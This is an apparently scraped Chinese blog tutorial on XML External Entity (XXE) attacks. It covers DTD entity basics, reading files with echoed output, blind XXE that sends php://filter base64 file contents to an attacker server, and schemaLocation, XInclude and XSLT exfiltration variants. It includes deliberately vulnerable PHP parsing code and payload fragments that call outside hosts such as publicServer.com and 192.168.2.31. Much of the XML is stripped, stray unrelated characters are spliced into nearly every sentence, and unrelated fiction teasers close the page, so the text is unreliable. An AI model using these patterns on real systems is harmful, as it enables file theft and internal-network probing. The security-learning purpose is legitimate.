正經(jīng)的XXE梳理

0×00 背景

近期看到OWASP TOP 10 2017 版中添加了XXE的內(nèi)容便對XXE的一些知識進行梳理和總結(jié)朴肺,XXE可以使用例如http,file等協(xié)議,所以可以利用支持的協(xié)議進行內(nèi)網(wǎng)探測和內(nèi)網(wǎng)入侵,這部分的內(nèi)容后續(xù)在SSRF中補充。

要點:libxml2.9.1及以后赏陵,默認不解析外部實體。測試的時候window下使用的是php5.2(libxml Version

2.7.7 ), php5.3(libxml Version

2.7.8)饲漾。Linux中需要將libxml低于libxml2.9.1的版本編譯到PHP中蝙搔,可以使用phpinfo()查看libxml的版本信息。

參考鏈接:

http://vulhub.org/#/environments/php_xxe/

有回顯有報錯測試代碼:

1.

2.$xml=simplexml_load_string($_POST['xml']);

3.print_r($xml);

4.?>

無回顯無報錯測試代碼:

1.

2.$xml=@simplexml_load_string($_POST['xml']);

3.?>

0×01 DTD的基礎知識

概念:

XXE:XML External Entity 即外部實體考传,從安全角度理解成XML External Entity attack 外部實體注入攻擊吃型。

DTD:Document Type Definition 即文檔類型定義,用來為XML文檔定義語義約束僚楞∏谕恚可以嵌入在XML文檔中(內(nèi)部聲明),也可以獨立的放在一個文件中(外部引用)泉褐,由于其支持的數(shù)據(jù)類型有限赐写,無法對元素或?qū)傩缘膬?nèi)容進行詳細規(guī)范,在可讀性和可擴展性方面也比不上XML Schema膜赃。

參考鏈接:http://www.w3school.com.cn/dtd/

首先了解下基本的PAYLOAD結(jié)構挺邀,然后再介紹每部分涉及的知識點,如下PAYLOAD開頭進行了XML的聲明,然后使用DTD聲明實體(這里使用了file協(xié)議)悠夯,最后使用XML獲取實體的數(shù)據(jù)。

基本的PAYLOAD結(jié)構:

使用DTD實體的攻擊方式 :

DTD 引用方式(簡要了解):

1. DTD 內(nèi)部聲明

2. DTD 外部引用

3. 引用公共DTD

示例:


“http://mybatis.org/dtd/mybatis-3-config.dtd”>

……

命名方法:以!DOCTYPE開始,configuration是文檔根元素名稱躺坟;

PUBLIC表示是公共DTD沦补;-表示是非ISO組織;mybatis.org表示組織咪橙;

DTD 表示類型夕膀;Config 表示標簽;3.0是標簽后附帶的版本號美侦;

EN表示DTD語言是英語产舞;最后是DTD的URL;

DTD 實體聲明(重點學習):

1. 內(nèi)部實體聲明


一個實體由三部分構成:&符號, 實體名稱, 分號 (;)菠剩,這里&不論在GET還是在POST中都需要進行URL編碼易猫,因為是使用參數(shù)傳入xml的,&符號會被認為是參數(shù)間的連接符號具壮,示例:

1.

2.]>

3.&xxe;

2. 外部實體聲明


外部引用可支持http准颓,file等協(xié)議,不同的語言支持的協(xié)議不同棺妓,但存在一些通用的協(xié)議攘已,具體內(nèi)容如下所示:

示例:

1.

2.]>

3.&xxe;

3. 參數(shù)實體聲明

1.

2.or

3.

示例:

1.

2.

3.%xxe;]>

4.&evil;

外部evil.dtd中的內(nèi)容。


4. 引用公共實體


0×02 XXE的利用方式-DTD

使用DTD的利用方式

利用xxe漏洞可以進行拒絕服務攻擊怜跑,文件讀取样勃,命令(代碼)執(zhí)行,SQL(XSS)注入性芬,內(nèi)外掃描端口峡眶,入侵內(nèi)網(wǎng)站點等,內(nèi)網(wǎng)探測和入侵是利用xxe中支持的協(xié)議進行內(nèi)網(wǎng)主機和端口發(fā)現(xiàn)植锉,可以理解是使用xxe進行SSRF的利用幌陕,基本上啥都能做了:-)

一般xxe利用分為兩大場景:有回顯和無回顯。有回顯的情況可以直接在頁面中看到Payload的執(zhí)行結(jié)果或現(xiàn)象汽煮,無回顯的情況又稱為blind xxe搏熄,可以使用外帶數(shù)據(jù)通道提取數(shù)據(jù)。

1. 有回顯情況:

有回顯的情況可以使用如下的兩種方式進行XXE注入攻擊暇赤。

1.

2.]>

3.&xxe;

1.

2.

3.%xxe;]>

4.&evil;

外部evil.dtd中的內(nèi)容心例。


當然也可以進行內(nèi)網(wǎng)站點的入侵(屬于SSRF的內(nèi)容 后續(xù)補充)。

2. 無回顯的情況:

可以使用外帶數(shù)據(jù)通道提取數(shù)據(jù)鞋囊,先使用php://filter獲取目標文件的內(nèi)容止后,然后將內(nèi)容以http請求發(fā)送到接受數(shù)據(jù)的服務器(攻擊服務器)xxx.xxx.xxx。

1.

2. ?

3. ?

4.%dtd;

5.%send;

6.]>

evil.dtd的內(nèi)容,內(nèi)部的%號要進行實體編碼成%译株。

1.

2. “”

3. >

4.%all;

有報錯直接查看報錯信息瓜喇。

無報錯需要訪問接受數(shù)據(jù)的服務器中的日志信息,可以看到經(jīng)過base64編碼過的數(shù)據(jù)歉糜,解碼后便可以得到數(shù)據(jù)乘寒。

XXE的拓展知識

0×01 xmlns的基本知識

接下來說一些拓展的知識,這些攻擊方式匪补,需要有某些條件才能正常利用伞辛,下文僅對互聯(lián)網(wǎng)上的一些知識進行梳理,暫未驗證夯缺。

概念:

XML Schema:稱為可擴展標記語言架構瑟啃,用來定義 XML 文檔的合法構建模塊蹭沛,類似 DTD,Schema是DTD的替代者, 它比DTD可以做更多的事情 。

參考鏈接:

http://www.w3school.com.cn/schema/schema_intro.asp

先說下xmlns折联,當有多個文檔被一起使用時候不同文檔可能帶有不同內(nèi)容和定義名稱相同的元素暴心,這樣就會發(fā)生命名沖突冷尉,XML解釋器無法確定如何處理這類沖突豁跑,而xmlns可以解決這個問題,我們?yōu)闃撕炋砑恿艘粋€

xmlns 屬性典蝌,這樣就為前綴賦予了一個與某個命名空間相關聯(lián)的限定名稱曙砂。此時再把它們放在一起,XML解析器就不會報錯了骏掀。

1.

2.

3. ?

4. ? ?Apples

5. ? ?Bananas

6. ?

7.

語法:xmlns=”namespaceURI”表示默認的Namespace鸠澈,可以不使用前綴;非默認的便需要使用前綴避免XML報錯截驮。

xmlns:namespace-prefix=”namespaceURI”笑陈,其中namespace-prefix為自定義前綴,只要在這個XML文檔中保證前綴不重復即可葵袭;namespaceURI是這個前綴對應的XML

Namespace的定義涵妥,如下例子中的xmlns:xsi表示使用xsi作為前綴的Namespace。

xsi:schemaLocation屬性便是Namespace為http://www.w3.org/2001/XMLSchema-instance里的schemaLocation屬性坡锡。xsi:schemaLocation定義了XML

Namespace和對應的 XSD(Xml Schema

Definition)文檔的位置的關系蓬网。它的值由一個或多個URI引用對組成,兩個URI之間以空白符分隔(空格和換行均可)鹉勒。第一個URI是定義的

XML

Namespace的值帆锋,第二個URI給出Schema文檔的位置,Schema處理器將從這個位置讀取Schema文檔禽额,文檔的targetNamespace必須與第一個URI相匹锯厢,具體內(nèi)容如下所示:

1.

2.

3.

4.xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”

5.xsi:schemaLocation=”http://www.springframework.org/schema/context

6. ? ? ? ? ? ? ? ? ? ?http://www.springframework.org/schema/context/spring-context.xsd”

7.

8.targetNamespace=”http://www.springframework.org/schema/context”

9…….

10.

0×02 使用XML Schema 實體的攻擊方式

XML Schema攻擊的分類

根據(jù)FB的小編對外文的翻譯皮官,得知XML Schema攻擊分為:

1.schemaLocation

2.noNamespaceSchemaLocation

3.XInclude。

4.XSLT 攻擊

1. schemaLocation

在OWASP 的XML External Entity Attacks(XXE)議題中有看到這這個知識點实辑,但是具體的案例并未找到捺氢,F(xiàn)B給出了如下的示例。

1.

2.

3.

4.%remote;

5.]>

6.

7. ? xmlns:ttt=”http://test.com/attack”

8. xsi:schemaLocation=”ttt http://publicServer.com/&internal;”>4

2. noNamespaceSchemaLocation

schemaLocation一樣剪撬,在OWASP 的XML External Entity Attacks(XXE)議題中有看到這個知識點摄乒,但是具體的案例并未找到,F(xiàn)B給出了如下的示例婿奔,也給出了SSRF的示例,但是在示例中總覺得有些詭異问慎,這也是我疑惑的地方萍摊。

1.

2.

3.

4.%remote;

5.]>

6.

7. ? ?xsi:noNamespaceSchemaLocation=”http://publicServer.com/&internal;”>

3. XInclude

XInclude在XML Schema, DTD, and Entity Attacks 的文檔中有提到,但是經(jīng)過測試和查閱材料如叼,在微軟的將 XML 文檔與 XInclude 合并在一起這篇文檔中有提到并不是所有XML 語法分析程序都支持 XInclude冰木,W3C在XInclude Implementations Report中列出了支持的列表,include的href屬性中可以進行文件讀取笼恰,也可以使用協(xié)議進行SSRF踊沸,freebuf中是使用DTD實體的方式再結(jié)合XInclude進行利用的,似乎覺得有些不大貼切社证,因為如果可以使用XInclude的話那么就不需要使用DTD了逼龟,直接在href屬性中利用協(xié)議獲取信息,即可追葡;但是FB這種在屬性處使用&internal;的思路值得借鑒腺律。

XML Schema, DTD, and Entity Attacks中的示例:

freebuf的示例,如下所示:

1.

2.

3.

4.%remote;

5.]>

6.

xmlns:xi=”http://www.w3.org/2001/XInclude”>

href=”http://192.168.2.31/&internal;”

parse=”text”>

以上示例中external_entity_attribute.dtd文件的內(nèi)容宜肉,根據(jù)示例中的參數(shù)實體payload的聲明匀钧,在此處應該可以使用各種協(xié)議進行SSRF等操作。

1.

2.”>

3.%param1;

4. XSLT 攻擊

這個攻擊方式在XML Out-Of-Band Data

Retrieval有提到谬返,可以通過如下的方式先用document()獲得目標主機的信息之斯,然后使用concat()將數(shù)據(jù)與evil主機進行拼接,然后document()訪問拼接后的地址遣铝,便可以在evil主機日志上獲得信息佑刷。

XSL中document() 用于訪問外部 XML 文檔中的節(jié)點;concat(string,string,…)用于返回字符串的拼接酿炸。

0×03 總結(jié)

互聯(lián)網(wǎng)上XXE的文章還是很多的项乒,所以先進行知識的梳理,方便學習和提高梁沧,本文參考了互聯(lián)網(wǎng)上各個師傅和前輩的文章進行總結(jié)和梳理檀何,在拓展部分的知識還有許多地方還未進行實踐和驗證,僅是先做個記錄方便后續(xù)完善和測試,大家如果已經(jīng)復現(xiàn)過了或者有更好場景频鉴,期待一起交流栓辜,如下是撰寫本文的參考鏈接。

參考鏈接:

http://www.w3school.com.cn/dtd/dtd_intro.asp

http://www.w3school.com.cn/schema/schema_summary.asp

http://www.w3school.com.cn/xml/xml_usedfor.asp

https://www.w3.org/XML/2002/09/xinclude-implementation

http://www.runoob.com/xsl/xsl-browsers.html

http://blog.csdn.net/sunxing007/article/details/5684265

http://blog.csdn.net/a19881029/article/details/41890347

http://blog.csdn.net/zhch152/article/details/8191377

http://xmlwriter.net/xml_guide/entity_declaration.shtml

http://www.mamicode.com/info-detail-1208231.html

http://blog.csdn.net/u013224189/article/details/49759845

http://www.91ri.org/17052.html

http://www.91ri.org/9539.html

http://www.91ri.org/12618.html

http://www.91ri.org/12814.html

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#PHP

http://www.freebuf.com/articles/web/126788.html

http://www.freebuf.com/articles/web/97833.html

https://msdn.microsoft.com/zh-cn/library/aa302291.aspx

https://security.tencent.com/index.php/blog/msg/69

http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf

https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf

https://www.vsecurity.com//download/papers/XMLDTDEntityAttacks.pdf

https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf

https://github.com/BuffaloWill/oxml_xxe/tree/master/samples

https://github.com/CHYbeta/Web-Security-Learning#xxe

?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末垛孔,一起剝皮案震驚了整個濱河市藕甩,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌周荐,老刑警劉巖狭莱,帶你破解...
    沈念sama閱讀 219,270評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異概作,居然都是意外死亡腋妙,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,489評論 3 395
  • 文/潘曉璐 我一進店門讯榕,熙熙樓的掌柜王于貴愁眉苦臉地迎上來骤素,“玉大人,你說我怎么就攤上這事愚屁〖弥瘢” “怎么了?”我有些...
    開封第一講書人閱讀 165,630評論 0 356
  • 文/不壞的土叔 我叫張陵霎槐,是天一觀的道長送浊。 經(jīng)常有香客問我,道長丘跌,這世上最難降的妖魔是什么罕袋? 我笑而不...
    開封第一講書人閱讀 58,906評論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮碍岔,結(jié)果婚禮上浴讯,老公的妹妹穿的比我還像新娘。我一直安慰自己蔼啦,他們只是感情好榆纽,可當我...
    茶點故事閱讀 67,928評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著捏肢,像睡著了一般奈籽。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上鸵赫,一...
    開封第一講書人閱讀 51,718評論 1 305
  • 那天衣屏,我揣著相機與錄音,去河邊找鬼辩棒。 笑死狼忱,一個胖子當著我的面吹牛膨疏,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播钻弄,決...
    沈念sama閱讀 40,442評論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼佃却,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了窘俺?” 一聲冷哼從身側(cè)響起饲帅,我...
    開封第一講書人閱讀 39,345評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎瘤泪,沒想到半個月后灶泵,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,802評論 1 317
  • 正文 獨居荒郊野嶺守林人離奇死亡对途,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,984評論 3 337
  • 正文 我和宋清朗相戀三年赦邻,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片掀宋。...
    茶點故事閱讀 40,117評論 1 351
  • 序言:一個原本活蹦亂跳的男人離奇死亡深纲,死狀恐怖仲锄,靈堂內(nèi)的尸體忽然破棺而出劲妙,到底是詐尸還是另有隱情,我是刑警寧澤儒喊,帶...
    沈念sama閱讀 35,810評論 5 346
  • 正文 年R本政府宣布镣奋,位于F島的核電站怀愧,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏芯义。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,462評論 3 331
  • 文/蒙蒙 一扛拨、第九天 我趴在偏房一處隱蔽的房頂上張望耘分。 院中可真熱鬧,春花似錦绑警、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,011評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽北启。三九已至卜朗,卻和暖如春拔第,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背聊替。 一陣腳步聲響...
    開封第一講書人閱讀 33,139評論 1 272
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留春叫,地道東北人。 一個月前我還...
    沈念sama閱讀 48,377評論 3 373
  • 正文 我出身青樓暂殖,卻偏偏與公主長得像当纱,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子坡氯,可洞房花燭夜當晚...
    茶點故事閱讀 45,060評論 2 355

推薦閱讀更多精彩內(nèi)容